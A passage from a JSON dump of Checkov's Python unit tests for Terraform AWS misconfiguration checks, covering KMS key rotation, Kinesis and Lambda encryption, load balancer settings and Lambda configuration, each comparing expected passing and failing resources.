report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n        \n        self.assertEqual(summary['passed'], 5)\n        self.assertEqual(summary['failed'], 5)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KMSRotation.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KMSRotation import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestKMSRotation(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KMSRotation\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_kms_key.pass1\",\n            \"aws_kms_key.pass2\",\n        }\n\n        failing_resources = {\n            \"aws_kms_key.fail1\",\n            \"aws_kms_key.fail2\",\n            \"aws_kms_key.fail3\",\n            \"aws_kms_key.fail4\",\n        }\n    \n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KendraIndexSSEUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KendraIndexSSEUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestKendraIndexSSEUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KendraIndexSSEUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_kendra_index.pass\",\n        }\n\n        failing_resources = {\n            \"aws_kendra_index.fail\",\n        }\n\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KeyspacesTableUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KeyspacesTableUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestKeyspacesTableUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KeyspacesTableUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_keyspaces_table.pass\",\n        }\n\n        failing_resources = {\n            \"aws_keyspaces_table.fail\",\n            \"aws_keyspaces_table.fail2\",\n            \"aws_keyspaces_table.fail3\",\n        }\n\n        skipped_resources = {}\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KinesisFirehoseDeliveryStreamSSE.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KinesisFirehoseDeliveryStreamSSE import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestKinesisFirehoseDeliveryStreamSSE(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KinesisFirehoseDeliveryStreamSSE\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_kinesis_firehose_delivery_stream.pass\",\n        }\n\n        failing_resources = {\n            \"aws_kinesis_firehose_delivery_stream.fail\",\n            \"aws_kinesis_firehose_delivery_stream.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KinesisFirehoseDeliveryStreamUsesCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KinesisFirehoseDeliveryStreamUsesCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestKinesisFirehoseDeliveryStreamUsesCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KinesisFirehoseDeliveryStreamUsesCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_kinesis_firehose_delivery_stream.pass\",\n        }\n\n        failing_resources = {\n            \"aws_kinesis_firehose_delivery_stream.fail\",\n            \"aws_kinesis_firehose_delivery_stream.fail2\",\n            \"aws_kinesis_firehose_delivery_stream.fail3\",\n            \"aws_kinesis_firehose_delivery_stream.fail4\",\n            \"aws_kinesis_firehose_delivery_stream.fail5\",\n            \"aws_kinesis_firehose_delivery_stream.fail6\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 6)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KinesisStreamEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KinesisStreamEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\nclass TestKinesisStreamEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KinesisStreamEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_kinesis_stream.pass\",\n        }\n        failing_resources = {\n            \"aws_kinesis_stream.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KinesisStreamEncryptionType.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KinesisStreamEncryptionType import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestKinesisStreamEncryptionType(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_KinesisStreamEncryptionType\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_kinesis_stream.enabled\",\n        }\n\n        failing_resources = {\n            \"aws_kinesis_stream.default\",\n            \"aws_kinesis_stream.disabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KinesisVideoEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KinesisVideoEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\nclass TestKinesisVideoEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KinesisVideoEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_kinesis_video_stream.pass\",\n        }\n        failing_resources = {\n            \"aws_kinesis_video_stream.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LBCrossZone.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.LBCrossZone import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLBCrossZone(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LBCrossZone\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lb.enabled\",\n            \"aws_alb.enabled\",\n        }\n        failing_resources = {\n            \"aws_lb.default\",\n            \"aws_alb.default\",\n            \"aws_lb.disabled\",\n            \"aws_alb.disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LBDeletionProtection.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.LBDeletionProtection import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestLBDeletionProtection(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LBDeletionProtection\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lb.enabled\",\n            \"aws_alb.enabled\",\n        }\n        failing_resources = {\n            \"aws_lb.default\",\n            \"aws_alb.default\",\n            \"aws_lb.disabled\",\n            \"aws_alb.disabled\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LBTargetGroupDefinesHealthCheck.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.LBTargetGroupsDefinesHealthcheck import check\n\n\nclass TestLBTargetGroupDefinesHealthcheck(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_LBTargetGroupDefinesHealthcheck\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'aws_alb_target_group.pass',\n        }\n        failing_resources = {\n            'aws_lb_target_group.fail',\n            'aws_lb_target_group.fail2',\n            'aws_lb_target_group.fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaCodeSigningConfigured.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.LambdaCodeSigningConfigured import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestWafHasAnyRules(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LambdaCodeSigningConfigured\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lambda_function.pass\"\n        }\n\n        failing_resources = {\n            \"aws_lambda_function.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaDLQConfigured.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.LambdaDLQConfigured import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestLambdaDLQConfigured(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n                        resource \"aws_lambda_function\" \"test_lambda\" {\n                          filename      = \"lambda_function_payload.zip\"\n                          function_name = \"lambda_function_name\"\n                          role          = aws_iam_role.iam_for_lambda.arn\n                          handler       = \"exports.test\"\n                        \n                          source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n                        \n                          runtime = \"nodejs12.x\"\n                        \n                          environment {\n                            variables = {\n                              foo = \"bar\"\n                            }\n                          }\n                        }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n                      resource \"aws_lambda_function\" \"test_lambda\" {\n                          filename      = \"lambda_function_payload.zip\"\n                          function_name = \"lambda_function_name\"\n                          role          = aws_iam_role.iam_for_lambda.arn\n                          handler       = \"exports.test\"\n                        \n                          source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n                        \n                          runtime = \"nodejs12.x\"\n                          \n                          dead_letter_config {\n                            target_arn = \"test\"\n                          }\n                        \n                          environment {\n                            variables = {\n                              foo = \"bar\"\n                            }\n                          }\n                        }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaEnvironmentCredentials.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.terraform.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.LambdaEnvironmentCredentials import check\n\n\nclass TestLambdaEnvironmentCredentials(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_LambdaEnvironmentCredentials\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lambda_function.pass\",\n            \"aws_lambda_function.no_env\",\n        }\n        failing_resources = {\n            \"aws_lambda_function.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n        # check especially for the evaluated keys\n        actual_evaluated_keys = next(\n            c.check_result[\"evaluated_keys\"] for c in report.failed_checks if c.resource == \"aws_lambda_function.fail\"\n        )\n        expected_evaluated_keys = [\n            \"environment/[0]/variables/[0]/AWS_ACCESS_KEY_ID\",\n            \"environment/[0]/variables/[0]/AWS_SECRET_ACCESS_KEY\",\n        ]\n        self.assertCountEqual(expected_evaluated_keys, actual_evaluated_keys)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaEnvironmentEncryptionSettings.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.LambdaEnvironmentEncryptionSettings import check\nfrom checkov.terraform.runner import Runner\n\nclass TestLambdaEnvironmentEncryptionSettings(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_LambdaEnvironmentEncryptionSettings\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lambda_function.pass\", \n        }\n        failing_resources = {\n            \"aws_lambda_function.fail\",\n            \"aws_lambda_function.failkmsnovars\",\n            \"aws_lambda_function.failasempty\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaFunctionIsNotPublic.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.LambdaFunctionIsNotPublic import check\n\n\nclass TestLambdaFunctionIsNotPublic(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_LambdaFunctionIsNotPublic\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lambda_permission.pass\",\n        }\n        failing_resources = {\n            \"aws_lambda_permission.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaFunctionLevelConcurrentExecutionLimit.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.LambdaFunctionLevelConcurrentExecutionLimit import check\nimport hcl2\n\n\nclass TestLambdaFunctionLevelConcurrentExecutionLimit(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_lambda_function\" \"test_lambda\" {\n              filename      = \"lambda_function_payload.zip\"\n              function_name = \"lambda_function_name\"\n              role          = aws_iam_role.iam_for_lambda.arn\n              handler       = \"exports.test\"\n            \n              source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n            \n              runtime = \"nodejs12.x\"\n            \n              environment {\n                variables = {\n                  foo = \"bar\"\n                }\n              }\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_lambda_function\" \"test_lambda\" {\n              filename      = \"lambda_function_payload.zip\"\n              function_name = \"lambda_function_name\"\n              role          = aws_iam_role.iam_for_lambda.arn\n              handler       = \"exports.test\"\n\n              source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n              reserved_concurrent_executions = -1\n\n              runtime = \"nodejs12.x\"\n\n              environment {\n                variables = {\n                  foo = \"bar\"\n                }\n              }\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success1(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_lambda_function\" \"test_lambda\" {\n              filename      = \"lambda_function_payload.zip\"\n              function_name = \"lambda_function_name\"\n              role          = aws_iam_role.iam_for_lambda.arn\n              handler       = \"exports.test\"\n\n              source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n              reserved_concurrent_executions = 0\n\n              runtime = \"nodejs12.x\"\n\n              environment {\n                variables = {\n                  foo = \"bar\"\n                }\n              }\n             \n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_lambda_function\" \"test_lambda\" {\n              filename      = \"lambda_function_payload.zip\"\n              function_name = \"lambda_function_name\"\n              role          = aws_iam_role.iam_for_lambda.arn\n              handler       = \"exports.test\"\n\n              source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n              reserved_concurrent_executions = 1000\n\n              runtime = \"nodejs12.x\"\n\n              environment {\n                variables = {\n                  foo = \"bar\"\n                }\n              }\n\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaFunctionURLAuth.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.LambdaFunctionURLAuth import check\n\n\nclass TestLambdaFunctionURLAuth(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_LambdaFunctionURLAuth\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_lambda_function_url.pass\",\n        }\n        failing_resources = {\n            \"aws_lambda_function_url.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaInVPC.py",
    "content": "import unittest\n\nfrom checkov.terraform.checks.resource.aws.LambdaInVPC import check\nfrom checkov.common.models.enums import CheckResult\n\nimport hcl2\n\n\nclass TestLambdaInVPC(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"aws_lambda_function\" \"test_lambda\" {\n              filename      = \"lambda_function_payload.zip\"\n              function_name = \"lambda_function_name\"\n              role          = aws_iam_role.iam_for_lambda.arn\n              handler       = \"exports.test\"\n\n              source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n\n              runtime = \"nodejs12.x\"\n\n              environment {\n                variables = {\n                  foo = \"bar\"\n                }\n              }\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_lambda_function\" \"test_lambda\" {\n              filename      = \"lambda_function_payload.zip\"\n              function_name = \"lambda_function_name\"\n              role          = aws_iam_role.iam_for_lambda.arn\n              handler       = \"exports.test\"\n              source_code_hash = filebase64sha256(\"lambda_function_payload.zip\")\n              runtime = \"nodejs12.x\"\n              vpc_config {\n                # Every subnet should be able to reach an EFS mount target in the same Availability Zone. Cross-AZ mounts are not permitted.\n                subnet_ids         = [aws_subnet.subnet_for_lambda.id]\n                security_group_ids = [aws_security_group.sg_for_lambda.id]\n              }\n              environment {\n                variables = {\n                  foo = \"bar\"\n                }\n              }\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_lambda_function']['test_lambda']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_LambdaServicePermission.py",
